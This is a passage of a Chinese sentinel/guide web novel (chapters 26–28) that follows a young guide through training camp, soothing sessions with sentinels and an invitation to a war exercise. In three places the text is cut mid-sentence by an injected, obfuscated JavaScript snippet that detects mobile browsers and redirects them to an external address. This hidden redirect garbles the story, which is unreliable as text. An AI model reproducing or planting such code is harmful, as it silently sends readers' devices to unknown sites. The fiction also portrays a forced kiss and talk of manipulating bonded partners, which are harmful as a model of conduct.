“别去了,跟我来。”阿瑞斯狐疑地看向他,根据对方的性子,可能又发现了什么,见门已经合拢,便停下来,同他走进过道。 听到对方说出的消息,一阵暴怒,“你说什么?!” 电梯里。 两人并排站着,却没有说话,而是长久的沉默,她甚至故意将脸偏向另一侧。 夏广礼:“我以后不提这件事了。” “不要生我的气,好吗?” 徐珊珊看过去,终究心软,委屈地说:“我不是故意的。” 这件事并非自她本意,但既然发生了,她不想成为前男友那样的混蛋,既然做了就要对别人负责,就算没什么感情,体面相处也就够了。 只要之后别再发生这样的事,就行了。 晚饭后,夏广礼和卡尔将她送到训练营地,教导员将她带到宿舍,稍微修整了一下后,前往操场集合,数量寥寥的向导方队。 晚上训练强度不高,但她中途加入,比别人晚两天,就费力许多,通过观察别人的动作,模仿学习。 回到宿舍时,后背都被汗液浸湿,她最后抵达,因为之前留在操场上,把精神体拉出来训了一顿。 当时,它像喝醉酒一样,迷迷糊糊的,歪东倒西,强硬地令它站直了。一阵输出后,它终于听懂了,在地上摆出一个波浪线,她又向它确认了三遍,正反两面提问,对方给出的答复正好相对。 她想着要不要造个魔头来恐吓它,就像给小孩讲恐怖故事,不听话要被金鹏鸟抓走。 凉风吹过,转头看见一个男人立在那,背着手,跟个幽灵似的,她缩回头,将精神体收回去,搭着台阶边缘起身,慢慢走回宿舍。 她的两名室友,一个叫克拉拉,清冷美人,拥有银色头发和灰白色瞳孔,好像是被精神体影响的,另一个叫吴可,性格活泼开朗,无敌八卦王,见多识广。 宿舍里,一人滔滔不绝地说,另一人安静地听,极少回复。 她洗漱完躺上床,闭上眼睛,眼皮沉得像有一百只鬼在下面拖,不一会儿就睡着了。 吴可视线上抬,看向这名新来的、沉默寡言的室友,怎么好像比克拉拉更难接近,其实这完全是误会。 克拉拉:“睡吧。” 第二天一早,训练,无休止的训练,汗流浃背的训练,把她嗓子跑冒烟的训练。 终于结束,她拖着身体回到宿舍,一看时间,还有三个小时,她要回白塔的静音室,气喘吁吁地将小蘑菇喊出来,希望它消化好了,这样就可以回白塔,休息一个下午。 它冒了出来,果然,自己的精神体竟然这么强,恐怖如斯!可能也跟卡尔受污染程度不高有关,总之她吸收、净化污染的效率高得惊人。 没有吃饭,她洗漱后就和教导员说,对方确认消息,就让她出门,看着她坐上班车,才往里面走。 训练营宿舍,下午,闹铃响起。 两人下床,换鞋梳头,见另一张床纹丝不动,担心对方迟到被罚,吴可走到床前,扣了扣围栏铁板,“起来了。” 没反应,她又扣了扣,克拉拉瞥了一眼地上的拖鞋,“她走了。”两人收拾好,来到训练场,集合时不见人影,教导员也没点她的名字。也许觉得太辛苦,退出了,克拉拉想,这很正常。 白塔。 中午她匆匆赶回来,直奔领导办公室,汇报情况,没想到对方根本没问卡尔的事,只问了她是否适应。一旁的柜面上,放着偌大的保温盒,“你吃过了吗?” 她摇了摇头,看来是给她准备的,男人从保温盒里将餐盒抬出来,递给她,捧着餐盒往外走,“你要站在走廊吃?” 不然呢?她准备去消防步梯找个地方蹲着,总不能在他办公室吃独食。 “就在这儿吃。” 徐珊珊:“会有味道。” 男人不再解释,手指向沙发,既然他都不介意,自己也无所谓,揭开餐盒,狼吞虎咽,直到食物进入胃部,逐渐恢复力气。 山昊:“最近不要回住处,白塔在做检查,下班后直接回训练营,我让卡尔送你。” “好。” 见她吃完还恹恹的,打了个哈切,餐盒盖紧,不一会儿小机器人走进来,外形改变,将垃圾运出去,丢进回收管道。 “睡一会儿吧。”男人打开一旁休息室的门,里面有张床,她看着他,大脑转得有些慢,吃饱后很容易犯困,点头同意,也没想过,自己睡这儿他睡哪,毫不客气地往里走。 她的光脑在裤兜里,出门前找教导员要回来,定好闹钟,脱了鞋子爬上床,趴在枕头里闭上眼睛。 白塔周围非常安静,没有车流或者施工的声音。 她还没睡到闹铃响,就被喊醒了,头一点一点的,模模糊糊的人影,又闭上了眼,趴回去,“你该起床了,洗个澡……” 说话声不停,她仰起身,掀开毯子,闭着眼睛下床,套鞋子,伸不进去,好像有人在帮自己穿鞋,谁啊。她睁开眼睛,怎么有点熟悉,下一秒惊悚地发现,怎么是领导给我穿小鞋? “长官~”语调里都是没睡醒的娇软,抗拒道:“我自己来就行。” 话还没说完,人家动作已经做完了,站起身,“我送你。” “好。” 还有一个钟头,洗完澡,换衣服,一边吹头发,一边点开光脑,今天下午有两位访客,是系统随机安排的哨兵。 因为和小蘑菇商量好了,这次接触就十分有分寸,没有对别人做出过分举动,但他离开时遗憾的眼神是怎么一回事? 她甩了甩头,刚走的时候没感觉,现在休息了好一会儿,腿突然好酸,悄悄在桌底摁了摁自己的腿,突然握住了一条骨质坚硬的尾巴,她愣了愣,缩回手,腿也老实缩回凳子下。 “不好意思。” “没关系,你想摸吗?” “不,”她摇了摇头,“今天就到这里吧。”治疗结束了,摁下指示灯,目送对方离开。 “啊啊啊——我的腿,”房门合拢,终于结束了。她把脚踝放到桌面上,开始捶打自己的小腿,收效甚微。 趴在桌上慢慢起身,窝进沙发,突然屏幕上又弹出消息,一名访客,哀嚎道:“只剩不到半小时了,你想干嘛?” 但不是预约疏导,只是拜访,凑近一看,是阿瑞斯,想也不想地拒绝了,就想一个人待着,随后光脑上就弹出信息。 架不住一再请求,她在下一次申请时同意了,还有一个人,是卡尔的,也勾选同意。 持有证明,阿瑞斯顺利通过检查,确保身上无武器后,佩戴上电子项圈,通过门上的号码牌,找到了她所在的静音室。 她躺在沙发上,只是翻了个身,露出头,不想爬起来,“有什么事?” 对方蹲在她跟前,手肘放在扶手上,头枕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958490|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在上面,歪着头看她,衬衫解开纽扣,露出胸肌,“我想你了。” “嗯。”略带敷衍地应下,“还有别的事吗?” 她的眼睛眯着,因此没看见男人的咬牙切齿,对方的手掌摁向沙发皮面,不小心贴着腿肚,她因此呲了一声,“轻点,我腿。” 她皱眉看过去,全是责怪,说出来的话却只让对方心软软的,“别碰我。” “你去训练营了?” 她点了点头,阿瑞斯便说,“你这样不行,会肌肉损伤,我给你放松一下。”她抬眼看去,“会痛吗?” “不痛,但可能会有点酸胀。” “你忍一忍。” 好吧,她翻转身体,侧躺着,面朝椅背,黑色狮子从他肩膀上跳下来,蹲坐到她胸前,开始舔她的脸,伸手按住它,“乖一点。” “嗷,轻点!”右腿被向上抬起,两腿张开,阿瑞斯手上动作开始了,她不由得闷哼出声,那边力道才放轻些,感觉对方像食堂师傅搓面团一样,揉搓自己的小腿,那个酸痛,忍不住喊:“再轻一点。” “这样效果更好。” 好好好,她忍,手陷进狮子的雾里,手指陷了进去,忍无可忍地将它抓在怀里,可惜对方完全是能够伸缩变化的,不仅没感到不适,反而贴得更紧了。 阿瑞斯将修长白皙的小腿握在手中,逐渐感到心猿意马,手上的动作却没停,这是实话,更好的放松,下次训练才能更好应对。 一开始的酸胀着实令人难以忍受,但揉开了之后,感觉就舒服很多,她爽得直哼哼,决定给一号技师打个好评。不知不觉时间就过去了。 “几点了?” 男人出声,她才恍然察觉下班了,卡尔应该在外面等着,把手从黑狮脖子下伸出,看向光脑,果然,人在门外,不知道站了多久。 “可以了,阿瑞斯,”她制止对方,“你该走了。” 男人将她的小腿轻轻放下,两只脚合在一处,大拇指摁住脚踝骨,“我必须走了吗?” 他的上半身俯下来,一直维持的愉悦神情破裂,声音里带着疯狂,“为什么我该走了,谁可以留下来?” 感受到唇瓣传来的冰凉,她闭上了眼睛,试图推对方的胸口,推不动,反而被视作一种情趣,又羞又躁的情绪涌上胸口,“放开,唔——” 随后的唾骂被咽进嘴里,她却感到有什么温热的液体落在脸上,张开嘴后退,才发现他哭了,一时间表情十分复杂。 是他强吻自己好吗?哭什么,搞得跟她欺负人一样。 “哎,别哭了,”她起身想抽纸巾,被人捞在怀里,就抱着她掉眼泪。 徐珊珊很无奈,你说这,这,千言万语汇成一句话:白塔要完。塔里的哨兵全是情绪泛滥,看起来,完全缺乏战斗力。 她于是不得不安慰他,等她不再试图离开,腰上的手力道松懈,顺利侧过身,左手摸上他右脸颊,“怎么了,为什么要哭?” “你不要我,只要他了是么?” 又是卡尔…… 她真的有点厌烦回答这个问题了,“是,”见男人身体一僵,她反应过来,自己说错了,“不不不,不是。” 感觉刚刚有什么危险包围了自己,她有些后怕,“我们认识得更久不是吗?为什么你们都要吃他的醋,不过是一场意外。” “那我可以有一场意外吗?”说到这,男人眼泪不掉了,声音也不虚弱了,真是图穷匕见。 徐珊珊:“不行。” 她不想给自己招来更多麻烦,见对方的气压低下来,又多安抚了一句,“但我可以帮你做疏导,浅层的,只要不影响我工作。” 她的头转向房门,外面还有人等着,“别让我难做,好吗?”对方没回话,她深呼吸了一口气,摁下开门键,“下次见。” 金发男人走进来,泪水冷却在阿瑞斯的脸上,他没有擦,表情冷硬,眼里看不出一丝动摇,像危险的冰山。 他拎起黑狮,不管对方厉叫,爪子挠上手臂,强硬地将它拖出来,点头说:“我走了。” 26. 第 26 章 “卡尔。”她带上烘干衣物往外走。 两人并行,见她不想说话,一路上,除了必要提醒,他没有开口,直到下车,站在栅栏外,望着背影走进检查口,往左转,没入绿荫小道。 任务完成,卡尔拍照并汇报,乘下一辆列车回塔。 精神海内,埋在土壤的根系外表面,包裹着白色真菌,将木质根保护在里面,形成菌根,污染析出的棱晶颗粒被分解,各处的白点伸长,像穿上斑点袖套。 纤长翘曲的睫毛轻颤,树影倒映在碧绿眸子中,光脑传来消息,卡尔低头,脸上笑意消失,神情严肃。 向导宿舍内,污染报警器发出警告,整层楼被封锁,调查时,又发现另一起投毒案。 布满荧光的易拉罐,饮料被注入放射性物质,食用后会中毒,刚开始没有症状,浑然不觉,紧接着腹泻、咽喉痛,会被误诊为流感,等确诊时,中枢神经系统已经遭受到严重损害。 被投毒的人是塔内一名富有经验的高级向导,她喝得不多,已被送往医疗中心,现无大碍。 里面牵扯两拨人,他们钻安防的空子,试图制造恐怖事件。这几天,白塔会进行内部清洗,揪出犯罪分子。 训练营。 她回到宿舍,看见两位室友,伸手摇晃,对方似乎挺惊讶,上下打量她。 吴可:“你回来了?” 徐珊珊:“对,我下午要去白塔坐班。” “我还以为你退出了,”吴可从桌上拎起一个本子,红色外壳,“今天发了新课本,你可以去找教导员要。” 克拉拉盘腿坐在床上,闭着眼睛,双手合十,看着像打坐,四周萦绕着白光,像尊佛像。 吴可见她一脸诧异,帮忙解释:“那是她的锻炼精神力的方式。” “好。”她转身坐下,换上统一的鞋子, 吴可:“白塔那边污染爆发得严重吗?” 徐珊珊:“啊?” 什么污染,她怎么不知道这回事,头回听说,扒着椅背,扭腰看去。 “你没听说那边出了事?” 见室友是内情人士,徐珊珊岔开腿反坐,满眼都是好奇。吴可也说不清楚,只是听说有人私藏污染物。 吴可:“还真是嫌命长。” 听完新闻,徐珊珊的目光不可控地飘向另一个室友,她的外貌太特别了,像个大号的精致洋娃娃,忍不住多看了两眼。 克拉拉终于睁开眼睛,说出了第一句话:“你相信精神力可以提升吗?” 张口就是问答题,灰白色瞳孔中倒映着她的身影,直勾勾地盯着她,一点儿也不躲闪,徐珊珊不好意思地摸头: “我不太了解。但我觉得,应该可以,就像锻炼身体,”一边揉搓小腿肌肉,也许过两天,跑步时她就能跟上大部队了,“你觉得呢?” 吴可:“当然可以啦!” 吴可看过去,见克拉拉缓慢地眨了一下眼,低声应下,她才放心。对方生性要强,不甘人后,偏偏精神力等级不高,只有C级。 “克拉拉是体术训练第一名,可厉害了,每次跑操都跑第一个。” “我看见了。”徐珊珊点头,队列里有比她身体条件更好的,但她就是能甩别人一大截,不得不佩服。 吴可:“我是A级,你呢?” “A吧。”语气不太确定,应该是吧,不然他们也不会那么重视她。 随着闹铃声响起,马上要集合晚训,聊天终止,赶紧收拾一下,离开宿舍。 今晚的训练比昨晚要轻松些,主要是课前多了一门思想品德教育,教导员还给她们吹了一阵牛。 散场后,她跟着教导员的脚步走,操场上还有人在跑步。来到办公室,对方好似压根没注意到她,进房间就把门踢拢了,紧接着里面音乐声响起,她应该是在打游戏。 徐珊珊坐在门口台阶上,发了一会儿呆,越发感觉白塔的不靠谱,直到第一道铃响,要查寝了,她起身,轻敲房门,里面伴奏中止,“进来。” 她扭动门把手,走进去,看见桌上摆放着棕灰色的趴趴树懒,女人手撑着桌面,屏幕的左下方有个缩小的游戏图标。 她移开眼假装没看见:“教导员,我来拿白天发的那个教材,我下午去白塔没领到。” “好。”女人俯身,桌下放着一摞书,用刀片解开系绳,抽出一本递给对方,“下次让你室友帮你领。” “好的。” 她刚想走,又从玻璃倒影里看见幽灵似的男人身影,天黑路远,有照明、活人,她紧张地问:“我们这儿有男性向导吗?” 女人双手抱拳,放在胸前,“男性向导有,不过不在这一届。” “我看到一个男人,”她盯着玻璃里的人影,一动不动啊,连风都吹不动他的衣服,跟个鬼一样。 “他是正常人吗?” “哈哈,”教导员笑起来,手抬高,往外指,“你是说那个吗?” 徐珊珊往外看,就是那午夜杀手似的瘦长身影,“对!”一阵恶寒,他无处不在,不管她去哪里,一转身,都杵在那儿,跟有影分身一样,别人还视若无睹。 “你是后面来的,介绍的时候不在场。它是安保队的精神体,像傀儡一样,能释放多个,平时呢起个监控作用,如果有什么意外发生,能及时响应。” 徐珊珊:“你是说他一个人分裂出这么多傀儡?” “对,”女人点头,坐回椅子上,手操纵鼠标在桌面滑动,“你还有别的事吗?” 她摇了摇头,走出房间顺便带上门,朝那个傀儡走去,环绕着它上下观望,完全是一比一复刻,真是栩栩如生。 “这位向导,你该回宿舍了。”突然,没有呼吸的傀儡张嘴说话,吓得她后退了几步,跌倒在地上。 “好好好,好的。”她站起身,拍了拍书封的灰,往回走时,仍按捺不住好奇心回看,多重分身,有意思。 推开门进入宿舍,雾气从淋浴间冒出来,吴可换上了睡衣,用毛巾裹着头发走出来。徐珊珊随便冲了冲凉,擦干后躺上床。 又过了一会儿,第二道铃声响起,克拉拉推门进来,她面部红润,满脸汗珠,收拾好洗漱用品,走向淋浴间。 宿管开始查寝,沐浴声停止不久,女人吹干头发往外走,第三道铃声敲响,宿舍灯光熄灭,三人上床。 辗转反侧十分钟睡不着,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968290|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睁开眼,惊讶地看见对面的克拉拉,周身萦绕白光,而斜对侧,吴可的被子里泛出微光,照亮了墙面。 合着都醒着,她也睡不着,中午睡过了,翻了个身,突然听见吴可说:“徐珊珊,你是这个月刚来的向导吗?” 好呀好呀,女寝夜聊。 虽然没人看见,她还是点头说:“对啊,你们都是本地人吗?” 她听见对方的轻笑,“半个本地人吧,我是十五岁的时候,随父母到这儿来的,当时还没觉醒。” “别人都说:‘这么晚没觉醒,估计没天赋,就算最后分化成向导,等级也不会高’。” 吴可:“我是成年后分化,才被接进来,之前在跑客车。”她语气平常,但还是能感受到一丝打脸的爽快。 徐珊珊:“我是在污染区被别人救回来的,之前的事都记不清了。” 克拉拉:“说谎。” 她惊悚地看向睁开眼的女人,不知是因为她的女鬼造型,还是坚定的结论。 吴可:“你别介意,她就是这个样子,这是她的能力,不说出来会难受。” 原来室友是人形测谎仪,真好奇她的精神体,换了个说法:“来这儿之前,我没接触过向导相关的知识。” 克拉拉沉默地点头,看来经过验证了。 徐珊珊:“听说随队向导的待遇比驻塔更高。” 吴可:“那当然啦,我就是图这个才随队的。” 克拉拉举手,“我也是。” 有种诡异的萌感,徐珊珊也跟着伸手,可惜发不出光,不显眼,“其实我也是个穷鬼。” “没关系,以后就不缺钱用了。”吴可回完最后一条消息,摁熄屏幕,手掌放在脑后,“工作、补贴、奖金,还有匹配哨兵,”她抽出手指头开始数,“一、二、三、四、五……反正总够用了。” 克拉拉:“嗯。” 吴可:“我特意挑的哨兵队伍,他们的资产排名在白塔内是前十。” 她被这直白的标准震惊,忍不住问:“这样会不会被骂?” 房间内沉默了一瞬,吴可:“你怎么会这么想?” “我在救他们的命诶,”她的语气蛮横,“你知不知道,几乎平摊他们的风险。” “没有向导的哨兵,只能排队,不知道等到猴年马月去了。向导素也不是便宜的东西,何况效果还不好。” 吴可打了个哈切,“拿钱买命,难道他们还算不明白这笔账吗?我选他们就该感恩戴德了。” 原来是这么赤裸裸的金钱交易吗?徐珊珊若有所思地点了点头,受教了。 但克拉拉破天荒地说了好长一段话,“其实是精神链接后,哨兵没法离开向导,变得很好操控。” 克拉拉:“到时候不用应付那么多,挑一个顺眼的,其他的就敷衍一下,平时直接灌向导素,他们也不会说什么。” 怎么感觉话题逐渐走歪,落入白塔不允许的范畴,她这是误入什么违法犯罪小团体。 吴可:“没必要做那么绝。” 门外传来脚步声,由远至近,看起来是宿管巡查,她们不再说话,徐珊珊闭上了眼睛,而这一闭,就是一整晚。 27. 第 27 章 日子一晃来到周五,她适应了训练,由于收缴光脑,睡眠质量好上不少,生活作息健康,充满活力。 问题出在精神体,因为小蘑菇有吃污染的需求,不仅没表现出异常,还更能吃了,她给它量了尺寸,变粗一丢丢。 不希望它吃嗨,控制不住自己,又把对方标记了,每次都和别人提前商量,解释原由。 对方应下,她以为是听懂了,没想到误会更深。 在论坛上看见一位哨兵在炫耀,大意是:预约治疗时,向导不仅帮自己疏通“结”,还帮自己吸收污染。 下面一群人要么骂他痴心妄想,要么开始钓鱼,明里暗里找他要联系方式。 他才不会给自己增加情敌,没回消息,很多楼层后,又有一个回复,她没翻到。 【我也遇见了,是真的】 那人的IP是在塔外,应该是这两天刚离塔,该层几分钟就有上百赞,顶上热帖。 【搞得跟真的一样,哪里来的菩萨,做梦就不要发出来了吧】 【求梦见这个】 【我接】 眼睁睁看见贴子楼层数暴增,她感慨,这事太容易让人误会了。 以后关于她的传言只会多,不会少。但没关系,后续检测报告出来,允许公布,她可以修改简介,自证清白。 她伸手戳了戳菌丝,“要不先吃点铁片填填肚子?”对方摆了个叉,表示严重抗议,看来它的食谱里,污染更美味。 既然如此,她只能再找老熟人帮忙了。 提示灯亮起,确定第二位来访者,屏幕闪烁,图片不断变换,最后定格成了解逸飞,另一个黑影是谁就不知道了,还没见过这样的。 她猜可能是系统出了bug。 另一处,阿瑞斯、副队一起围在一张桌子前,但代码运转后,终究显示出一个大大的失败。 “队长,没约上,下回吧。” 阿瑞斯明显有些垂头丧气,但嘴上强撑,“没事,下次一定行。” 副队不明白他为什么要这样,明明向导小姐都说了,可以直接找她疏导,为什么还要多此一举,假装不经意匹配到她。这种无谓的自尊心。 副队:“你直接和她说,效率更高。” 阿瑞斯肩膀上的狮子耳朵都耷拉下来,他不是放不下身段,就是不甘心,为什么她要选择、标记那个男人,他差在哪里? 静音室里。 因为是老熟人,她姿态放松,“解逸飞队长,有什么想喝的吗?”弯腰从柜子里抽出茶叶罐,给自己倒了些许。 “白水就好,谢谢。” 一杯热水,一杯凉水,将它递过去,汤匙在杯子里打转,花茶慢慢溶入水中。 她看向对方脖颈上的警示灯,橙色,中等危险水平。她恍然察觉,好像几天没见了,不仅是没见面,甚至没有联系。 徐珊珊:“你们最近还好吗?” “托你的福,我们精神状态都不错。” 因为向导驻留,哪怕没被疏导过的个体,也能被残存的向导素安抚,近期没有异变现象。 按理来说,他这个污染程度,不用预约疏导的,这样做有些浪费,但他今天,有话要说。 她本打算,多接待两个访客,从不同的地方各吃一点,更好地满足小蘑菇,没想到来了个熟人,这下省力了。 “你好像……”男人的视线在她的额头、脸颊、肩颈间扫荡,疑惑地皱眉。 她有些紧张,“怎么了?” 解逸飞:“变黑了?” 她的手指停下,液体随着惯性在杯中旋转,“这个啊,”她松了口气,还以为什么呢,“正常啊,我天天训练,能不黑吗?” 防晒挡不住毒辣的阳光,虽有室内训练场,但教导员想让她们见识一下户外世界,非得拉出去练。她对此倒没有异议。 见男人凝眉思考,她才意识到对方不知道这个消息,“就是随队向导训练营,”摸了摸杯壁,不烫了。 “布鲁诺还顺利么?”她还是忘不了那夜的噩梦,想再跟他确认一下安全。 解逸飞:“你不用担心,他不久前刚进洞,里面没信号,暂时联系不上也正常。” “好,那我们开始吧。” 她将小蘑菇召唤出来,对方开心地趴在桌子上,伞盖横向挪动,不一会儿,一只缩小体型的丹顶鹤立于地面。 它的头颅高于桌面,露出黑色喉颈和裸露的朱红色额顶,虹膜褐色,嘴长直,呈现灰青色。 静音室内部开始变幻,模拟湿地环境。 丹顶鹤尖喙朝上,隔着伞盖约一公分,似乎在观察面前的蘑菇,发出“呵、呵”的响亮叫声,不久后,开始鞠躬,脖颈向后倒弯,应该是表达友好的方式。 有小蘑菇,她就不用自己动手了,但还是得提前说清楚,“队长,可以为你消化部分污染吗?你别误会,是它需要吃这个。” 她虽是实话实说,但却有哨兵不信,非得认为是她内心偏爱。 男人的眼神里满是包容,就像不管她说什么,都会应下。 她换了个位置,和解逸飞并排坐,两人离得不远,方便第一时间安抚,“如果它过分了,请制止它。” 未经允许,小蘑菇没有乱动,得到同意,她这才点头示意它可以开始了。 当丹顶鹤的喙快贴近伞盖时,她还捏了一把汗,担心小蘑菇会生气,但对方及时停了下来,将头搁在茶几上。于是它伸展着菌须往它身上爬去,直到裹上颈部。 原本长着黑羽的细长脖颈,被白色菌丝覆盖,上方立着一个白粉色蘑菇,像戴了一顶帽子,奇怪、有趣的组合。 丹顶鹤兴奋地挥舞翅膀,频率快,声音响,在空中盘旋,然后落脚于一旁,接着坐下。 洁白的手背上覆着更粗大的手,男人闭上眼睛,应该是开始了,她将手抽出来,盖在他上方,插入指缝,向下紧扣,头靠在臂膀处,发丝贴着臂膀肌肉。 小蘑菇逐渐变色,头顶一沉,她仰起头,原来对方弓着腰,将肩膀和头都下压,贴在她耳边,挡住半边光线,两人的呼吸交织在一起。 趁着这个机会,好好观察一下解逸飞队长,皮肤细腻,看不见毛孔,看来天天出汗排毒就是好,鼻梁很高,但鼻翼不宽。 男人很克制地贴着她,只有紧握的手上力道越来越重,脖颈上的橙灯闪烁,她抬起另一只手,扶着他的下颌,指尖摁在脸颊,男人不自觉地将脸侧贴在掌心。 但没有更多不得体的行为,以至于结束疏导时,两人的衣服都没皱乱。 见小蘑菇从别人身上跳下来,就知道差不多了,但他一直握着手,没有放开的意思,时间之久,让她怀疑是不是又做过头了,怀疑地扫去,小蘑菇抖了抖,比了个圆。 解逸飞非常放松,仿佛被温暖、富有营养的液体包围,不再有惹人厌的寄生虫,在体内一刻不停地叫嚷,没有疼痛和瘙痒,难得的,他陷入了沉睡。 一人一鸟的头都栽了下去,因为有了经验,她也没那么紧张,一直靠在他身边等他醒。 其实更适合做蒙汗药,你看,谁来我的静音室都得睡着。 他睁眼时,斜向下看见女人的侧脸,目光朝外,沿着视线望去,那是一片扁宽层云,移动缓慢。她目光怔怔,好像在回忆什么。 意识到她不能长期承受自己的重量,他抬起头,将身体摆正。 感受到肩膀一轻,徐珊珊紧跟着回头,转了转肩胛骨,让它放松。 解逸飞:“你想飞回去吗,今晚。” 她眼睛一亮,但又想宋晓宇的悲剧,“不是说白塔不能飞吗?” “下班后,隔远一点就可以。” “好,”她一口应下,没有人不向往天空,穿梭于高空,俯视地面的感觉太让人震撼了,“待会儿应该不会下雨。” 两人约好,下班吃饭后,一同离开。 坐班结束后,卡尔一如既往地接送她,她说了这事,但对方坚持说:“我要确保你安全抵达营 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972854|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地。” 她只能退一步,她和解逸飞先行,到了之后,再等他。 终于,夕阳西下,远离车流,在一片草地,两人都趴在丹顶鹤的背部,小蘑菇被她塞进包里,只露出一点子实体。 为了载重,它的体型变大,翼缘覆羽下可见粗壮结实的巩固,拍打翅膀,开始奔跑,长脖子伸向前,一段助跑后,速度合适,离地跃空,飞向天空。 卡尔坐在列车中,光线被遮挡,那飞羽形状的阴影,他抬头望去,看见两人背影,丹顶鹤飞得不快,像一辆空中摆渡车,闲适地观赏风景。 当列车按既定路线向右转,他就离她越来越远,直到最后背影没入天际。 她喜欢鸟,男人明白她对空战组的偏爱,堂姐叮嘱他,别妄想做唯一,偏爱会遭来记恨。但他可以在别处派上用场。 因为她的欢呼和兴奋,他们逐渐飞高,凉爽的微风拂面,由于直线飞行,没花多长时间就抵达了目的地。 丹顶鹤的翅膀向前伸,展成弧形,双腿向下伸出,她没感到太颠簸,很快落地。解逸飞先跳下去,然后接她, 徐珊珊拎起小蘑菇,这应该是它第一次上高空,看起来晕乎乎的,将它收回精神海内。 他们坐在街边店铺里,等卡尔到来。 解逸飞:“我们在为两周后的全塔模拟演习做准备。” “嗯,”她一边嗑瓜子,一边好奇地看,等他接着说。 解逸飞:“我想邀请你,做我们的空战组,联合一队、二队的向导,一起参加模拟演习。” 他向她解释,这场演习会模拟野外环境、哨兵的精神体、身体能力,多队伍同时军演,所有在塔的队伍都要参加。 没有绑定随队向导的队伍,目标是:存活下来,保存根据地,尽可能地扩大地盘。而有向导的队伍,在此基础上,要多加一条——保证向导的安全。 污染作为环境的一部分,被算入其中。因此没有向导的队伍,前期占优,他们行事无须束手束脚,能全队出动,但时间一长,就落入下风。 凭哨兵本人抵抗污染不现实,因此不少队伍会在演习中途抢夺别队向导,那会是比争地盘更血腥的战斗。 当然,这也是最好的竞技场,展示实力的绝佳机会。 他想代表空战组,请她参赛,原因在于:飞禽天生优势,他们无疑能存活到大后期,只需要小心地面偷袭。她跟他们在一起,足够最安全。 实力、匹配度、个人偏好,都是向导选择一支队伍的考量因素。 解逸飞知道她在哨兵论坛里有多受欢迎,凡是被她疏导过的人,无不钦慕于她,难以忘怀。 空战组占尽先机,首先,她喜欢鸟类,亲近他们;其次,她来白塔之后,过往的经历都与他们共同创造。 但这还不够,他们要向她证明自身强大,她的选择正确,各方面的支持,都绝不逊于给其他哨兵队伍。 还要警示其他人,不要觊觎他们的向导,否则就要刺瞎他们的眼睛,扭断他们的咽喉,刺穿他们的心脏。 他们会让她感到骄傲。 事实上,每一支队伍都这样想,每一个人都拭目以待,向导们会关注,她也一定会关注。 每年的模拟演习都格外激烈,甚至是惨烈。 她内心有几分犹豫,又雀跃,听说过这事,完全模拟自然环境,参与队伍数量庞杂,种类丰富,不得不看。 而且,吴可和她说过,她和克拉拉都会参加,这届训练营里的向导,时间恰巧撞上了。 这会作为她们第一次和队伍合作,与他们同生共死,亲眼目睹,真实的残酷战场,英勇机敏的战士。死亡会带来极大震撼,挑动每一位向导的神经。 内心已暗下决定,但她还是点开光脑,翻到聊天界面,点击投骰子功能,图标不断变换,骰子滚动,最后丢出六个圆点。 “大。” 看着男人迷茫、不解的神情,门外列车抵达站台,她笑着说:“我参加。” 28. 第 28 章 三人走向门口,见一个男人手提太阳伞,站在台阶上,石墩子前探头探脑,鬼鬼祟祟的,不远处停放了一辆白色长车。 绕着他走,跨上台阶,没想到男人反而贴过来,面容憨态可掬,眉眼间又透着机敏,直朝她来,“你好。” 卡尔上前,不允许对方再靠近,防备地问:“有什么事?” 雷科:“我就是想问一下,这里几点开门?”男人掏出证件,“我是鼬队的队员,来接队里的向导,不是说五点半解散吗?” 对,她想起来了,明晚到后晚要放一天的假,可以离开营地,但今天是周五啊,他兴许记错日子了。 徐珊珊:“接人的话,明天再来吧。” 谈话时,长车的车窗缓缓摇下,里面坐着一车人。他们等了许久,一只黄鼬钻出来,爬到窗边,被手摁了下去,不一会儿又跳出另一条伶鼬,它耳朵短圆,背棕腹白,精神体像打了兴奋剂似的闹腾个不停。 雷科向那边打了个手势,挠了挠脑袋,好像太心急,记错日子了,“那我们明天再来,谢谢啊。” 目光注视着男人的背影,他坐上那辆油光铮亮的轿车,尾气喷出,扬长而去,车后盖上还喷有涂鸦,惹眼的全家福,簇拥在其中的是一只野兔。 她好笑地摇了摇头,真不知道他们是谁的哨兵。车尾消失在视野中,人声忽然响起。 解逸飞:“明天,我们也来接你。” “啊?”没想到热闹看到自己身上,她想了想那个场面,跟接送学生考试一样,道路堵塞,人山人海,他们挤在前排,大声喊她的名字。 “到时候人多,恐怕很挤。” 解逸飞:“没关系。” 他的手指向西边,那有一座黛色高山,一侧陡峭,“那边可以做飞行训练,你想参加吗?” 